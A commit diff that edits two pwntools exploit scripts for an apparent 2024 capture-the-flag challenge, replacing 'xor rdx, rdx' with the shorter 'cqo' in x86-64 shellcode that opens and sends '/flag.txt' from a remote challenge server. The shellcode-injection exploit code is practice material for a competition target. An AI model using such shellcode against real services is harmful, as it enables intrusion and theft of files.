learnt about the cqo instruction that sign-extends rax into rdx

africabattlectf_2024/universe/a.py

@@ -8,8 +8,8 @@ r = remote("challenge.bugpwn.com", 1004)
 
 # openat + sendfile
 shellcode="""
-lea rsi, [rdx+30]
-xor rdx, rdx
+lea rsi, [rdx+29]
+cqo
 xor r10, r10
 add ax, 257
 syscall
@@ -24,4 +24,4 @@ shellcode += b"/flag.txt\0"
 shellcode += b"\x90"*(4096-len(shellcode))
 r.sendline(shellcode)
 
-r.interactive()
+r.interactive()

africabattlectf_2024/universe/read_files.py

@@ -14,7 +14,7 @@ add r9, 0x4500
 mov r15, 0x2f
 push r15
 lea rsi, [rsp]
-xor rdx, rdx
+cqo
 xor r10, r10
 add ax, 257
 syscall
@@ -31,4 +31,4 @@ shellcode = asm(shellcode)
 shellcode += b"\x90"*(4096-len(shellcode))
 r.sendline(shellcode)
 
-r.interactive()
+r.interactive()